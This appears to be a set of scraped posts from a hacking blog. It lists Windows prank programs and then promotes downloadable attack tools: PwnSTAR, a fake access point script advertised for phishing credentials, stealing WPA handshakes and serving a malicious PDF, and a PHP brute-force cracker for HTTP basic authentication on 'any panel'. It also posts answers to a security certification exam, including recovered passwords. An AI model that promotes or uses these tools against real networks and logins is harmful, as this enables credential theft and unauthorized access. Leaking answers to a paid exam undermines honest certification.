5. ClickStart – ClickStart is one of the cool Windows prank program which hides itself in the background and after every 45 seconds it will click on the start button causing the start menu to open. Users will be surprised when their start menu pops up, they will have no idea what is going on. 
<a href="http://www.rjlsoftware.com/software/entertainment/clickstart/download.shtml">Download ClickStart</a> 
6. Clippy – It is a simulated office assistant that, when ran, will hide in the background for 1 minute then popup in the lower right hand corner of the screen and say something useless. 
<a href="http://www.rjlsoftware.com/software/entertainment/clippy/download.shtml">Download Clippy</a> 
7. Copy Cursor – It replicates the current Windows mouse cursor over-and-over again on the screen. This is VERY annoying which makes it a great prank! 
<a href="http://www.rjlsoftware.com/software/entertainment/copycursor/download.shtml">Download Copy Cursor</a> 
8. Crazy Num Caps Scroll – It will toggle the Num Lock, Caps Lock, or Scroll Lock keys at user defined intervals which makes the working of any user very annoying experience. 
<a href="http://www.rjlsoftware.com/software/entertainment/crazy_ncs/download.shtml">Download Crazy Num Caps Scroll</a> 
9. Create Message Pro – It allows you to configure and create stand alone .EXE files for distribution across your network or the Internet. It adds the ability to specify the message text, buttons to appear on the message, and the type of message icon that appears. 
<a href="http://www.rjlsoftware.com/software/utility/createmsg/download.shtml">Download Create Message Pro</a> 
10. Cursor Fun – It will change the current mouse cursor to a user specified cursor. It allows you to choose which Windows cursor to change, what type of cursor to change it to. 
<a href="http://www.rjlsoftware.com/software/entertainment/cursorfun/download.shtml">Download Cursor Fun</a> 
11. Dirty Mouse – It is a windows prank that simulates the mouse ball is dirty. How many times have you tried to move your mouse and it does not move. 
<a href="http://www.rjlsoftware.com/software/entertainment/dirty/download.shtml">Download Dirty Mouse</a> 
12. DownHoax – This is a great prank makes it appear as though an “unwanted” file is being downloaded from the Internet. DownHoax randomly chooses a site from its internal database of “undesirables” and proceeds to simulate downloading an equally distasteful file. 
<a href="http://www.rjlsoftware.com/software/entertainment/downhoax/download.shtml">Download DownHoax</a> 
13. Email Fun – When executed, Email Fun displays a fake email screen complete with the To:, From:, Subject: and message contents. Then it immediately pretends to automatically type an email to everyone that is in your address book. 
<a href="http://www.rjlsoftware.com/software/entertainment/email/download.shtml">Download Email Fun</a> 
14. Fake Delete – Fake Delete simulates the deletion of all files/folders in the Windows directory or whichever directory is passed via the command line. Fake Delete uses the standard Windows delete dialog so it appears very realistic, and it cannot be disabled or stopped. 
<a href="http://www.rjlsoftware.com/software/entertainment/fakedel/download.shtml">Download Fake Delete</a> 
15. Fake Format – Fake Format mirrors the Windows “Format” functionality. Once the program is started, no matter which buttons are chosen, the program simulates formatting the specified drive. 
<a href="http://www.rjlsoftware.com/software/entertainment/fakefmt/download.shtml">Download Fake Format</a> 
16. Fake Shutdown – This prank program simulates what would occur when a user chooses to shut down Windows. Each screen was cautiously created to mirror the look of the actual Windows shutdown sequence. 
<a href="http://www.rjlsoftware.com/software/entertainment/fakeshutdown/download.shtml">Download Fake Shutdown</a> 
17. Fake Start Menu – This program will replace the existing Windows 95 Start Menu (task bar). It will respond to nothing from the user. 
<a href="http://www.rjlsoftware.com/software/entertainment/fakestart/download.shtml">Download Fake Start Menu</a> 
18. Flasher – Flasher is a hidden prank program that allows you to flash any image to the computer screen, almost like a subliminal message. 
<a href="http://www.rjlsoftware.com/software/entertainment/flasher/download.shtml">Download Flasher</a> 
19. Flip It – It will display a fake Windows message that appears to have flipped upside-down. Clicking on the YES button will slowly make each piece of text rotate 180 degrees until you can read it again. 
<a href="http://www.rjlsoftware.com/software/entertainment/flipit/download.shtml">Download Flip It</a> 
20. Floppy Madness – Floppy Madness is a small prank program that will try and access the floppy drive at user specified intervals. If this does not seem fun, just download it and see. 
<a href="http://www.rjlsoftware.com/software/entertainment/floppy/download.shtml">Download Floppy Madness</a> 
21. Follow Me – When you execute this program, it will automatically hide in Windows and wait for your mouse cursor to move. Once your cursor moves, it automatically moves your Start Button to the same position, horizontally, on the Windows Task Bar. 
<a href="http://www.rjlsoftware.com/software/entertainment/followme/download.shtml">Download Follow Me</a> 
22. Gas Gripe – This program will lead you through a series of price comparisons with other liquid products. With the help of a very clean interface, Gas Gripe will have you laughing in your chair as you watch the price per gallon go up with other products 
<a href="http://www.rjlsoftware.com/software/entertainment/gas/download.shtml">Download Gas Gripe</a> 
23. HeadAche – A program that would instantly give you a headache, download and run to know how it produce a headache. 
<a href="http://www.rjlsoftware.com/software/entertainment/headache/download.shtml">Download HeadAche</a> 
24. Message Manager Lite – Message Manager it will allow you to setup a message dialog to be displayed upon a network login. You can specify the text to be displayed, the image, the buttons (up to 9), and when to display the message. 
<a href="http://www.rjlsoftware.com/software/utility/message/download.shtml">Download Massage Manager</a> 
25. Mouse Droppings – Watch as your mouse drops little black turds all over your screen, randomly. This is a great joke to play on an unsuspecting co-worker, you can even email this prank to a friend. 
<a href="http://www.rjlsoftware.com/software/entertainment/droppings/download.shtml">Download Mouse Droppings</a> 
26. Mouse Move – Mouse Move is a a program that can run hidden to move the users mouse cursor to random positions on the screen. 
<a href="http://www.rjlsoftware.com/software/entertainment/mousemove/download.shtml">Download Mouse Move</a> 
27. MouseClicks – MouseClicks is a harmless gag program that allows you to disable the left, right or both mouse clicks every x seconds. 
<a href="http://www.rjlsoftware.com/software/entertainment/mouseclicks/download.shtml">Download MouseClicks</a> 
28. Password Prank – This program displays a fake, but very realistic, password box to the user. No matter what key the user presses, it starts typing in its own password. Once the password is entered an error message is displayed to the user telling them their password is not long enough. 
<a href="http://www.rjlsoftware.com/software/entertainment/password/download.shtml">Download Password Prank</a> 
29. Pirated Software – Pirated Software is a prank that emulates the standard software installation or setup. However, the installation walks you through the steps of installing illegal software. 
<a href="http://www.rjlsoftware.com/software/entertainment/pirate/download.shtml">Download Pirated Software</a> 
30. Popup Prank – Popup Prank is a gag software program that allows you to simulate these online popup advertisements. 
<a href="http://www.rjlsoftware.com/software/entertainment/popup/download.shtml">Download Popup Prank</a> 
31. Print Me – When you launch Print Me the standard Windows Print dialog appears, no matter which button is pressed a fake print dialog screen displays to the user. 
<a href="http://www.rjlsoftware.com/software/entertainment/printme/download.shtml">Download Print Me</a> 
32. WAV Launcher – This is a hidden program launcher. It will launch a specified program or .wav file at user defined intervals. 
<a href="http://www.rjlsoftware.com/software/entertainment/launcher/download.shtml">Download WAV Launcher</a> 
33. Random Bumper – It is a hidden software program that will play gross burp sounds randomly every minute until closed. 
<a href="http://www.rjlsoftware.com/software/entertainment/burp/download.shtml">Download Random Bumper</a> 
34. ReplaceKeys – ReplaceKeys is a fun little prank that allows you to replace many keyboard keystrokes with different keyboard keystrokes. 
<a href="http://www.rjlsoftware.com/software/entertainment/replacekeys/download.shtml">Download ReplaceKeys</a> 
35. Rotate – Rotate is a desktop manipulator that will randomly flip the desktop into all sorts of weird positions. 
<a href="http://www.rjlsoftware.com/software/entertainment/rotate/download.shtml">Download Rotate</a> 
36. Screen Screw – Screen Screw does just that, it screws with your screen. When you launch Screen Screw it will appear as though your screen has some type of problem painting its colors. 
<a href="http://www.rjlsoftware.com/software/entertainment/screenscrew/download.shtml">Download Screen Screw</a> 
37. Shakedown – Shakedown will take your current desktop and shake it violently, This will not only annoy you to death, but also give your eyes a good strain. 
<a href="http://www.rjlsoftware.com/software/entertainment/shakedown/download.shtml">Download Shakedown</a> 
38. Show – Hide Desktop – Show – Hide Desktop is another fun Windows prank from RJL Software. This prank allows you to configure how often the desktop icons will hide and then show again. 
<a href="http://www.rjlsoftware.com/software/entertainment/showhide/download.shtml">Download Show – Hide Desktop</a> 
39. The Finger – The Finger on an unsuspecting user and watch their reaction when the cursor changes to the middle finger and then back to normal again. 
<a href="http://www.rjlsoftware.com/software/entertainment/finger/download.shtml">Download The Finger</a> 
40. Time Traveler – Time Traveler is a devious little prank that changes the Windows system clock to a random time. To make matters worse, Time Traveler runs invisible in the background performing this task every 30 seconds. 
<a href="http://www.rjlsoftware.com/software/entertainment/traveler/download.shtml">Download Time Traveler</a> 
41. Vista Upgrade Prank – The Vista Upgrade Prank starts by emulating the Windows Update service screen. Clicking the install or cancel button closes the update service window and appears to initiate the Vista Upgrade Advisor. 
<a href="http://www.rjlsoftware.com/software/entertainment/vista/download.shtml">Download Vista Upgrade Prank</a> 
42. Y2K Joke – Y2K is a silly software program that spoofs all of the Y2K issues. It simulates fixing your BIOS, mouse, monitor, and even corrects your calendar problems by changing all letter Ys to letter Ks. 
<a href="http://www.rjlsoftware.com/software/entertainment/y2k/download.shtml">Download Y2K Joke</a> 
 
All of the above links and pranks are completely safe they don't harm/affect your system in anyways .these are purely built for fun application so enjoy have nice time ahead keep smiling

Computer Fake Viruses to Play Pranks On April Fool Day On Friends Pc

Hi all in India we do play lots of pranks with our friends on 1st that is popularly known as April fool day :D. Also its Special In Odisha ...

PwnSTAR: Pwn_SofT_Ap_scRipt For Hacking

It is basically a bash script to launch a Fake AP, configurable with a wide variety of attack options.Includes a number of index.html and server php scripts, for sniffing and phishing.Can act as multi-client captive portal using php and iptables. 
Launches classic exploits such as evil-PDF.An easy way to launch the "best" metasploit modules eg CVE-2013-0422 De-auth with aireplay, airdrop-ng or MDK3. 
 
PwnSTAR.tgz is a bundle containing the current version of the script + all required webpages. 
<a href="https://code.google.com/p/pwn-star/downloads/list">Download Here</a> 
 
Few Top features:- 
 
takes care of configuration of interfaces, macspoofing, airbase-ng and isc-dhcp-server 
steals WPA handshakes 
phishes email credentials 
serves webpages: supplied (eg hotspot, below) or provide your own 
sniffing with ferret and sslstrip 
adds a captive portal to the frontend of the fake AP 
assorted exploits 
de-auth with MDK3, aireplay-ng or airdrop-ng 
Use your imagination, craft your own webpages, and have fun. 
 
Download packege contents. 
"hotspot_3" is a simple phishing web page, used with basic menu option 4. 
"portal_simple" is a captive portal which allows you to edit the index.html with the name of the portal eg "Joe's CyberCafe". It is used for sniffing. 
"portal_hotspot3" phishes credentials, and then allows clients through the portal to the internet. 
"portal_pdf" forces the client to download a malicious pdf in order to pass through the portal. 
Designed for Kali-linux and BackTrack5 ,Current version for Kali is PwnSTAR_0.9. 
 
Installation process:- 
 
It is simple to install and use. download from above link and then follow the screenshot. 
<a class="center" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzqI84yRfvGuSRGGzmPGToxCxr0t2pxEY8njyfxs_WcyX8lMoxvxopdN3D9WE42vEaxvQVs1eWI92Gnvx3lLscObru_mgOyQea6WNYckcnHHuNDM1EI8SXjAJQDKZzDnGZ0GladTn_t1gK/s100/12.png"> 
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzqI84yRfvGuSRGGzmPGToxCxr0t2pxEY8njyfxs_WcyX8lMoxvxopdN3D9WE42vEaxvQVs1eWI92Gnvx3lLscObru_mgOyQea6WNYckcnHHuNDM1EI8SXjAJQDKZzDnGZ0GladTn_t1gK/s1000/12.png" width="750" /> 
</a> 
 
And Main menu is this 
 
<a class="center" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimRS_hV9RoWDeR5DT0F3s1GIfGHX49JOkaY7mtDifWqF0ZzdCl2Zs7yugQr0g9HnFo4UrURyak4dIUhk8OprMV6DbnVgTKHqloexdndrMRr4Ihz1GRTXz1Q-CV9heHbR2ln0KcqKT19_CM/s1600/11.png"> 
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimRS_hV9RoWDeR5DT0F3s1GIfGHX49JOkaY7mtDifWqF0ZzdCl2Zs7yugQr0g9HnFo4UrURyak4dIUhk8OprMV6DbnVgTKHqloexdndrMRr4Ihz1GRTXz1Q-CV9heHbR2ln0KcqKT19_CM/s1000/11.png" width="750" /> 
</a> 
 
Keep checking darksite.co.in for upcoming tutorial on PwnSTAR.

PwnSTAR: Pwn_SofT_Ap_scRipt For Hacking

It is basically a bash script to launch a Fake AP, configurable with a wide variety of attack options.Includes a number of index.html and se...

Lazy Kali Script for Kali Linux Must have

Hi all today i am going tell you about bash script that helps you in kali linux to handle many software updation in simple manner. 
Lazy kali is just a simple bash script that makes you feel lazy and helps in better way to Adds quite a few tools to Kali Linux. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmui6V4PdR8o_Q2NJIMFN2ScgY_nWTxf-DHTbjIZVdylOGiCkp20wKsbeQ_S4BqOOxOnKFtPodoZjPbmZ2NdXK1h-r_YC0W_u3bbsIZYPFOACKJFcLjiaMIK6C85IWxThDgVW0DsWGCWHm/s1600/lazy+kali.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmui6V4PdR8o_Q2NJIMFN2ScgY_nWTxf-DHTbjIZVdylOGiCkp20wKsbeQ_S4BqOOxOnKFtPodoZjPbmZ2NdXK1h-r_YC0W_u3bbsIZYPFOACKJFcLjiaMIK6C85IWxThDgVW0DsWGCWHm/s400/lazy+kali.png" /></a></div>Here are the list of tool that you can add using lazy kali with current version. 
Adds quite a few tools to Kali Linux. 
<li>Bleeding Edge Repos 
<li>AngryIP Scanner 
<li>Terminator 
<li>Xchat 
<li>Unicornscan 
<li>Nautilus Open Terminal 
<li>Simple-Ducky 
<li>Subterfuge 
<li>Ghost-Phisher 
<li>Yamas 
<li>PwnStar 
<li>Ettercap0.7.6 
<li>Xssf 
<li>Smbexec 
<li>Flash 
<li>Java 
<li>Easy-Creds... and more! 
 
Lazy-Kali will also update Kali, Start Metaploit Services, Start Stop And Update Open-Vas. This is the first version, script is self updating so more will be added in a short time. Will try to add requested features. 
 
You can download lazy kali from <a href="https://code.google.com/p/lazykali/downloads/detail?name=lazykali.sh&can=2&q=">this link</a> 
You will get the file with the name lazykali.sh. Now to install follow the screen shot. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrZVkSpG_bvspgglpGIiOFWjIPob32WYRqWDCj1v9VWrZJ_YsBWFPJ8kaelX6HiHP8mxC7D_BaONeE9DpbkPLEaDNJNlsHy-kEZIdBmqKC6899cJOOO1h2cfrmr7j3YHY8rWfT4Y4Uhi-Z/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrZVkSpG_bvspgglpGIiOFWjIPob32WYRqWDCj1v9VWrZJ_YsBWFPJ8kaelX6HiHP8mxC7D_BaONeE9DpbkPLEaDNJNlsHy-kEZIdBmqKC6899cJOOO1h2cfrmr7j3YHY8rWfT4Y4Uhi-Z/s400/4.png" /></a></div>if the script is not installed it may prompt you to install. Type Y to install the script. 
Once that is done you will see manu as shown in first screen shot. 
 
there you go you can select update kali Option 1 to update your kali linux. 
just like if you select option 5 (sniffing/spoofing) then you can see this menu. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAy9DDdtp_4Nye4MBuUlZVaaeZDg_0a6FYD6iHi6NQmBDZL1x4ZI4d8-pykT7PHm-FnIJA0jEJ_lg_bKkgpYEkg8soZz8uyQkNBU4YRI_1sSX99hS7hLspnLUbZHGJa-cUvxQ_8Mg03yHt/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAy9DDdtp_4Nye4MBuUlZVaaeZDg_0a6FYD6iHi6NQmBDZL1x4ZI4d8-pykT7PHm-FnIJA0jEJ_lg_bKkgpYEkg8soZz8uyQkNBU4YRI_1sSX99hS7hLspnLUbZHGJa-cUvxQ_8Mg03yHt/s400/2.png" /></a></div>if you select installing extra options 6 then this screen will show up. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-I_MUTkSHSf2Nn_gqOEvh_AmG1aJskQUZPxc8NIsTEbIK52aoRl6aGwYn8-SAhiH9zwuq5KArwnETv5uRbc4Taj4ekYeKxNiAW8u6toyVFQu7hvBhieDS3booGtX3UO-51Ujo8AyOQOh2/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-I_MUTkSHSf2Nn_gqOEvh_AmG1aJskQUZPxc8NIsTEbIK52aoRl6aGwYn8-SAhiH9zwuq5KArwnETv5uRbc4Taj4ekYeKxNiAW8u6toyVFQu7hvBhieDS3booGtX3UO-51Ujo8AyOQOh2/s400/1.png" /></a></div>Hope this will make you lazy on kali and have fun. 
Thanks for reading .

Lazy Kali Script for Kali Linux Must have

Hi all today i am going tell you about bash script that helps you in kali linux to handle many software updation in simple manner. Lazy kal...

Innobuzz CISE (Certified Information Security Expert) Exam Question Answer

<div dir="ltr" style="text-align: left;" trbidi="on">
Hi Everyone Here is the post that most people google for. 
funnily i have given cise exam for multiple time for some of my friends. so lets not waste the time 
directly go into question .so i am skipping the register for exam and other bla bla bla part. 
 
Note: This Q/A we published after taking permission from Innobuzz and these questions are changed now. 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTdA2wWDsBLCFrrPVFPL55a9rpiUhJUJFmn_H2W0f5pKzei2jBi_PyYXXU-it6Qxv3NOAKyI8f4kNKTuI5R8f-aVU44LnSIRvty5tyRrjkCtbV0C35ebRclEWa6_NSK5-5mkDj-BAnE8NB/s1600/cise.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTdA2wWDsBLCFrrPVFPL55a9rpiUhJUJFmn_H2W0f5pKzei2jBi_PyYXXU-it6Qxv3NOAKyI8f4kNKTuI5R8f-aVU44LnSIRvty5tyRrjkCtbV0C35ebRclEWa6_NSK5-5mkDj-BAnE8NB/s400/cise.jpg" /></a></div>
come to question and answer. 
1)Enter Administrative Contact Mail Address of innobuzz.in 
 
Asnwer:- Its very simple go to who.is and search for innobuzz.in and the answer will show you on search result. 
that is innobuzz.control@gmail.com 
 
2)Enter Domain name Starting with "S" hosted on same server innobuzz.in. 
 
Asnwer:- Again this can be solve via online easily <a href="http://www.yougetsignal.com/tools/web-sites-on-web-server/">Yougetsignal</a> and the answer is www.secfence.com . 
 
3)Enter Exact name of service running on port number 21 of innobuzz.in. 
 
Answer :- This Answer can easily Find out by using nmap.if u are on backtrack then you can use this simple command on terminal. 
 
nmap -A innobuzz.in and you will see the answer on scan result. 
 
the answer is Pure-FTPd 
 
4)Here is one of the funny question The Password is being sent on http header. catch it and enter bewlow. 
 
Answer:-You can easily see by using mozilla live header addons. 
 
And The Answer is ADMIN@123. 
 
5) Here comes the final one again good one.Enter the password. 
 
Answer:-you just need to view source(ctrl+u) you will see some thing like this on green color "cDQ1c3dyMGQyIyRAIQ==" 
 
now this is a base 64 encodeed one you can easily decode with some online site like <a href="http://www.base64decode.org/">http://www.base64decode.org</a>. 
 
The answer will be p45swr0d2#$@! 
 
i believe this exam was easy yes. after submitting answer you will get a code which you need to submit at innobuzz portal. 
after which you will get CISE certificate. 
 
Please Do comment if you have faced have questions also you can add new questions if you get during exam . 
Find screen shot here 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfh3-8oqdPTWSiCrXhaDkik3NFVveCXE_zhjJfKRX5VhVltZ2WRjKlVwaacjwe6Xbvbh1LlYq1t7maI2MFx-W5UqMzM71Ip8wLR-HY7hAsbqABitgtLurQd7bgRFsVl6cHW4GbIm5HcJ_-/s1600/1.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfh3-8oqdPTWSiCrXhaDkik3NFVveCXE_zhjJfKRX5VhVltZ2WRjKlVwaacjwe6Xbvbh1LlYq1t7maI2MFx-W5UqMzM71Ip8wLR-HY7hAsbqABitgtLurQd7bgRFsVl6cHW4GbIm5HcJ_-/s320/1.jpg" /></a> 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjtwwnudVoenMpTNZhrzjwHMFPSpPXdEmx7Q3gOHBgO6yoJZ_B2Az2LO6g7jlOE7v2VKJjktCqyXIbgJ5QbSFbnnDMl9VZ5xCeMShnqUuZzIdTnsyLOczlAJUIWsAHmRyauJGFsm8jNPx-/s1600/2.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjtwwnudVoenMpTNZhrzjwHMFPSpPXdEmx7Q3gOHBgO6yoJZ_B2Az2LO6g7jlOE7v2VKJjktCqyXIbgJ5QbSFbnnDMl9VZ5xCeMShnqUuZzIdTnsyLOczlAJUIWsAHmRyauJGFsm8jNPx-/s320/2.jpg" /></a> 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9vheW9KygHQHzMlE8EVjSQJYxSNbauR83X-hU0f3Qu1RyaUYsp7lzemndmAcRJ1imCXCnCKk2YdHA8bwQL5Vsq2j3klLMxcfHkOfUV0zVnll821iWkWL4uL0XpRTtu9SvraO7tsuaVRmC/s1600/3.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9vheW9KygHQHzMlE8EVjSQJYxSNbauR83X-hU0f3Qu1RyaUYsp7lzemndmAcRJ1imCXCnCKk2YdHA8bwQL5Vsq2j3klLMxcfHkOfUV0zVnll821iWkWL4uL0XpRTtu9SvraO7tsuaVRmC/s320/3.jpg" /></a> 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzvCGsa22bw3aeSoX3X7j50Inwolb-NeNhRxBBG6PUh0cHoHbAN9DGHH8pN4_eTYYkTwo9yGIE6lDtQygTSvhAq_rxHhu10kf-IHiamLLE1nTC6geiE5bupNBVFxblUNzwgmoqfYzPLk5/s1600/4.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMzvCGsa22bw3aeSoX3X7j50Inwolb-NeNhRxBBG6PUh0cHoHbAN9DGHH8pN4_eTYYkTwo9yGIE6lDtQygTSvhAq_rxHhu10kf-IHiamLLE1nTC6geiE5bupNBVFxblUNzwgmoqfYzPLk5/s320/4.jpg" /></a> 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6g2T9PpAwWO3yRshwF5F-h9iH65hyphenhyphenVmD4gfMHRKwceBnYWRfk0S58a38_9O6dIbH3RzU8ahgqEdCT_ha1AyZ23M5yeSSu0FLDd4IGBPtEwygPAwB1loMIOA6QcoNTTRcVnUCAPr0T_HCh/s1600/5Ans.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6g2T9PpAwWO3yRshwF5F-h9iH65hyphenhyphenVmD4gfMHRKwceBnYWRfk0S58a38_9O6dIbH3RzU8ahgqEdCT_ha1AyZ23M5yeSSu0FLDd4IGBPtEwygPAwB1loMIOA6QcoNTTRcVnUCAPr0T_HCh/s320/5Ans.jpg" /></a> 
 
Please Do comment if you like this or want more post on any topic. 
 
Thanks for visiting. 
 
 
 </div>

Innobuzz CISE (Certified Information Security Expert) Exam Question Answer

Hi Everyone Here is the post that most people google for. funnily i have given cise exam for multiple time for some of my friends. so lets...

PHP Script For Cracking http Basic Authentication

hi in this post i am again sharing article of one of my very nice friend <a href="http://www.mannulinux.org/">manish</a> this php shell helps in cracking http basic authentication password cracking.now lets come to the real topic what exactly basic auth. 
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ5QZ_gw1g2A0DVqsNJ5A_vynb86cjioz1ijR97HxWPlykpJqzJka-si1XLoA6IeKLpt_1LJrj_jwcm4mY4_PLarmorVhMQW3NY4GJq3Mz6X33FaC7eKqi4BrwVvFj5EYfyAqn5WnZT6I/s1600/http4.png"> 
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ5QZ_gw1g2A0DVqsNJ5A_vynb86cjioz1ijR97HxWPlykpJqzJka-si1XLoA6IeKLpt_1LJrj_jwcm4mY4_PLarmorVhMQW3NY4GJq3Mz6X33FaC7eKqi4BrwVvFj5EYfyAqn5WnZT6I/s800/http4.png" width="620" /> 
</a> 
Http Basic Auth Cracker PHP Script 
</div> 
so in order to perform HTTP transaction(request- response), basic access authentication is a method for an HTTP user agent to provide a user name and password when making a request.after providing correct user id and password when it is asked. 
 
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFjb166gjvGsyUf3mfAe2kJEZ7ePcLdCtwk-639Y8VaYLWIbebYCzeS2VFXS5t2beqrYJ8rDNU5iOEpftyYs6t4QDQHqUp3cdv-PdbMOI_CNdivi7fssIYh5VByrH7h-SpMaC_THwCvRE/s1600/http3.png"> 
<img height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFjb166gjvGsyUf3mfAe2kJEZ7ePcLdCtwk-639Y8VaYLWIbebYCzeS2VFXS5t2beqrYJ8rDNU5iOEpftyYs6t4QDQHqUp3cdv-PdbMOI_CNdivi7fssIYh5VByrH7h-SpMaC_THwCvRE/s600/http3.png" width="320" /> 
</a> 
Basic Auth Prompt 
</div> 
it will allow you to do the http request.so our objective here is how we can break it or get the correct user id and password 
so we can do it with the help of php script and brute force attack. 
you can brute force any panel which is using basic authentication using this script 
 
<a href="http://www.mediafire.com/download/3fa25np8nmflmxd/http.php"> 
download link here</a> 
 
Procedure is very simple 
 
you need to supply link where htaccess is implemented , username list and password list 
 
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxq0Bl-Djt8Ygy1MCn1mfYZKdi2VGciRcHF4TkIg2p3tCEqUaB1irZ52ievSJhLLYeUqz-9En-BsT8yVUl8fczF4EJK01CWaskIIbHJOyC8dIbIpvvXy2K4JtEpIJoyrRNBz9pP493TYo/s1600/http.png"> 
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxq0Bl-Djt8Ygy1MCn1mfYZKdi2VGciRcHF4TkIg2p3tCEqUaB1irZ52ievSJhLLYeUqz-9En-BsT8yVUl8fczF4EJK01CWaskIIbHJOyC8dIbIpvvXy2K4JtEpIJoyrRNBz9pP493TYo/s1600/http.png" width="620" /> 
</a> 
provide possible username and password list 
</div> 
and click "lets hex this shit" button 
if password is weak or in your password list, you will get success message like this 
 
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjccN1YdAdi_A8ZTMd6NcyWpjJVI8Lpv1ngPilXWOusixZooCW6LCkOXzKBdpO5nQojWGVuwq5YguI15xBuzY61dH2bFnL3AwsFgaMphPYJGXpdQX3fMb9ob1J0YM8JZ-RjHcC7-ISg8i4/s1600/http2.png"> 
<img height="399" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjccN1YdAdi_A8ZTMd6NcyWpjJVI8Lpv1ngPilXWOusixZooCW6LCkOXzKBdpO5nQojWGVuwq5YguI15xBuzY61dH2bFnL3AwsFgaMphPYJGXpdQX3fMb9ob1J0YM8JZ-RjHcC7-ISg8i4/s1600/http2.png" width="620" /> 
</a> 
Cracked Successfully :) 
</div> 
enjoy :) 
with love from Team IndiShell 
if you have any problem regarding this script , you can message manish on facebook 
http://facebook.com/manish1046 
 
it work very nice you should definitely give a try :) if u encounter http basic auth somewhere :).

PHP Script For Cracking http Basic Authentication

hi in this post i am again sharing article of one of my very nice friend manish this php shell helps in cracking http basic authentication ...